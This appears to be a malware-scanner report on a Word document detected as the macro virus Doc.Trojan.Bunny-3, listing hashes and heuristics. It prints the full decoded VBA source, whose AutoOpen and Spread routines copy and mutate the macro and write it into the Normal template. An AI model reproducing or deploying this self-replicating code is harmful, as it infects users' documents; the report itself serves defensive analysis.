Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73ee49d321c8086d…

MALICIOUS

Office (OLE)

29.5 KB Created: 2000-03-08 21:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e71f594624a137cd20f0b8a4b925ec9b SHA-1: c3645bb043b2e02b8e5f417458c8bf1d0a7cd79a SHA-256: 73ee49d321c8086d859a066d5cc7c1b0647de9ed2bf3dc6b62e75b9ee7417d8d
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The script attempts to export itself as 'b.cpl' to 'C:\windows\system\' and then repeatedly copies and modifies this file, suggesting an attempt to spread or obfuscate its payload. The ClamAV detection 'Doc.Trojan.Bunny-3' further supports the malicious nature of this file.

Heuristics 4

  • ClamAV: Doc.Trojan.Bunny-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bunny-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6409 bytes
SHA-256: dc4847136216649204c76782168ec8bb0060ed5f289bee598ab00f4592ccc177
Detection
ClamAV: Doc.Trojan.Bunny-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BunniesB"
Public SCode As String
Public stuff As String
' W97T/Bunnies .b
' Word Trojan Bunnies .b variant by Error
Sub AutoOpen()
On Error Resume Next
 Application.EnableCancelKey = wdCancelDisabled
Options.SaveNormalPrompt = False
SCode = Dir("C:\windows\system\b.cpl")
If SCode = "b.cpl" Then Call Spread Else
ActiveDocument.VBProject.VBComponents("BunniesB").Export ("C:\Windows\System\b.cpl")
Call Spread
End Sub
Function Spread()
On Error Resume Next
 Application.EnableCancelKey = wdCancelDisabled
' Begin to do what bunnies do...Now with exponential growth!!
For X = 1 To 10000 Step 1
Open "C:\windows\system\b.cpl" For Input As #3
Open "C:\Windows\system\bunnies.cpl" For Append As #4
Randomize Timer
Do
Line Input #3, stuff
Print #4, stuff
    Randomize Timer
    t = Int(Rnd(1) * 5) + 1
        If t = 1 Then Z$ = " '" & Application.UserAddress
        If t = 2 Then Z$ = " '" & Application.UserName
        If t = 3 Then Z$ = " '" & Time$
        If t = 4 Then Z$ = " '" & Application.UserInitials
        If t = 5 Then Z$ = " '" & Int(Rnd(1) * 9999999)
Print #4, Z$
        Loop Until stuff = "' EOF"
Close #3
Close #4
' Code Morpher from RAPE v2.0 (Random Arithmatic Polymorphic Engine) by Error
Kill "C:\Windows\System\b.cpl"
Dim OldName
Dim NewName
OldName = "C:\Windows\System\bunnies.cpl": NewName = "C:\Windows\System\b.cpl"
Name OldName As NewName
    With NormalTemplate.VBProject.VBComponents.Import("C:\Windows\System\b.cpl")
    End With
Next X
NormalTemplate.Save
MsgBox "Bunnies!!!!", 48
Kill "C:\Windows\System\Bunnies.cpl"
Kill "C:\Windows\System\B.cpl"
End Function
' EOF

' Processing file: /opt/analyzer/scan_staging/37db73661a4b43b7b4f2bede079ea055.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/BunniesB - 3751 bytes
' Line #0:
' 	Dim (Public) 
' 	VarDefn SCode (As String)
' Line #1:
' 	Dim (Public) 
' 	VarDefn stuff (As String)
' Line #2:
' 	QuoteRem 0x0000 0x0010 " W97T/Bunnies .b"
' Line #3:
' 	QuoteRem 0x0000 0x0028 " Word Trojan Bunnies .b variant by Error"
' Line #4:
' 	FuncDefn (Sub AutoOpen())
' Line #5:
' 	OnError (Resume Next) 
' Line #6:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #8:
' 	LitStr 0x0017 "C:\windows\system\b.cpl"
' 	ArgsLd Dir 0x0001 
' 	St SCode 
' Line #9:
' 	Ld SCode 
' 	LitStr 0x0005 "b.cpl"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) Spread 0x0000 
' 	Else 
' 	BoSImplicit 
' 	EndIf 
' Line #10:
' 	LitStr 0x0017 "C:\Windows\System\b.cpl"
' 	Paren 
' 	LitStr 0x0008 "BunniesB"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #11:
' 	ArgsCall (Call) Spread 0x0000 
' Line #12:
' 	EndSub 
' Line #13:
' 	FuncDefn (Function Spread())
' Line #14:
' 	OnError (Resume Next) 
' Line #15:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #16:
' 	QuoteRem 0x0000 0x003C " Begin to do what bunnies do...Now with exponential growth!!"
' Line #17:
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x0001 
' 	ForStep 
' Line #18:
' 	LitStr 0x0017 "C:\windows\system\b.cpl"
' 	LitDI2 0x0003 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #19:
' 	LitStr 0x001D "C:\Windows\system\bunnies.cpl"
' 	LitDI2 0x0004 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #20:
' 	Ld Timer 
' 	ArgsCall Read 0x0001 
' Line #21:
' 	Do 
' Line #22:
' 	LitDI2 0x0003 
' 	Ld stuff 
' 	LineInput 
' Line #23:
' 	LitDI2 0x0004 
' 	Sharp 
' 	PrintChan 
' 	Ld stuff 
' 	PrintItemNL 
' Line #24:
' 	Ld Timer 
' 	ArgsCall Read 0x0001 
' Line #25:
' 	LitDI2 0x0001 
' 	Ar
... (truncated)

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